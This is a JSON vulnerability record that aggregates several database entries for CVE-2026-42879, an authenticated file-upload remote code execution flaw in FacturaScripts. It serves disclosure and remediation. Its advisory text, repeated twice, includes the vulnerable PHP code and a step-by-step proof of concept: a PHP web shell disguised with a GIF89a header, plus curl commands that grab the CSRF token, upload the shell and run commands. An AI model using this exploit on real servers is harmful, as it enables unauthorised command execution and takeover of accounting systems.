{"id":"CVE-2026-42879","aliases":["EUVD-2026-32626","GHSA-vf3q-frmr-vrr9"],"status":"published","title":"FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","description":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00229,"percentile":0.13804,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-434","CWE-94"],"published":"2026-05-07T19:49:05Z","modified":"2026-10-28T02:30:27Z","exploits":[{"source":"pocgithub","id":"guzrex/CVE-2026-42879","title":"guzrex/CVE-2026-42879","date":"2026-03-20","url":"https://github.com/guzrex/CVE-2026-42879"}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2025.81"}]}]},{"source":"osv","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2025.81"}]}],"versions":["2018.03","2018.04","2018.05","2018.11","v2018.12","v2018.13","v2018.14","v2018.15","v2018.16","v2020.01","v2020.2","v2020.3","v2020.4","v2020.51","v2020.61","v2020.71","v2020.80","v2021","v2021.1","v2021.2","v2021.4","v2021.51","v2021.71","v2021.81","v2022.06","v2022.08","v2022.2","v2022.4","v2022.51","v2023.03","v2023.08","v2023.16","v2023.21","v2024","v2024.1","v2024.2","v2024.3","v2024.5","v2024.7","v2024.8","v2024.9","v2024.91","v2024.93","v2024.94","v2024.95","v2024.96","v2025","v2025.11","v2025.2","v2025.3","v2025.4","v2025.41","v2025.43","v2025.7","v2025.71","v2025.8","v2025.81"]}],"products":[{"vendor":"neorazorx","product":"facturascripts"}],"references":[{"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42879","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vf3q-frmr-vrr9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42879.json","tags":["advisory"]},{"url":"https://github.com/NeoRazorX/facturascripts","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42879","title":"FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","description":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","status":"published","published":"2026-05-27T18:29:46.718Z","modified":"2026-06-01T17:08:32.048Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-94","CWE-434"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-32626","description":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","status":"published","published":"2026-05-27T18:29:46Z","modified":"2026-06-01T17:08:32Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T18:20:57.828765Z"}],"ghsa":[{"id":"GHSA-vf3q-frmr-vrr9","title":"FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","description":"# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), 'image/')) {\n    Tools::log()-\u003eerror('file-not-supported');\n    continue;\n}\n \n$folder = Tools::folder('MyFiles');\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c 'EOF'\nGIF89a\n\u003c?php\nsystem($_GET['cmd']);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o 'multireqtoken\\\" value=\\\"[^\\\"]*\\\"' | cut -d'\"' -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex","status":"published","published":"2026-05-07T19:49:05Z","modified":"2026-06-08T23:53:27Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-94","CWE-434"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-42879","description":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","status":"published","published":"2026-05-27T19:16:18.173Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-94","CWE-434"],"updated_at":"2026-11-02T14:12:20.885865Z"}],"osv":[{"id":"CVE-2026-42879","title":"FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","description":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","status":"published","published":"2026-05-27T18:29:46.718Z","modified":"2026-10-28T02:30:27.695917198Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-434","CWE-94"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-vf3q-frmr-vrr9","title":"FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","description":"# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), 'image/')) {\n    Tools::log()-\u003eerror('file-not-supported');\n    continue;\n}\n \n$folder = Tools::folder('MyFiles');\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c 'EOF'\nGIF89a\n\u003c?php\nsystem($_GET['cmd']);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o 'multireqtoken\\\" value=\\\"[^\\\"]*\\\"' | cut -d'\"' -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex","status":"published","published":"2026-05-07T19:49:05Z","modified":"2026-09-10T03:50:47.667573691Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-434","CWE-94"],"updated_at":"2026-11-02T15:46:56.981655Z"}]}}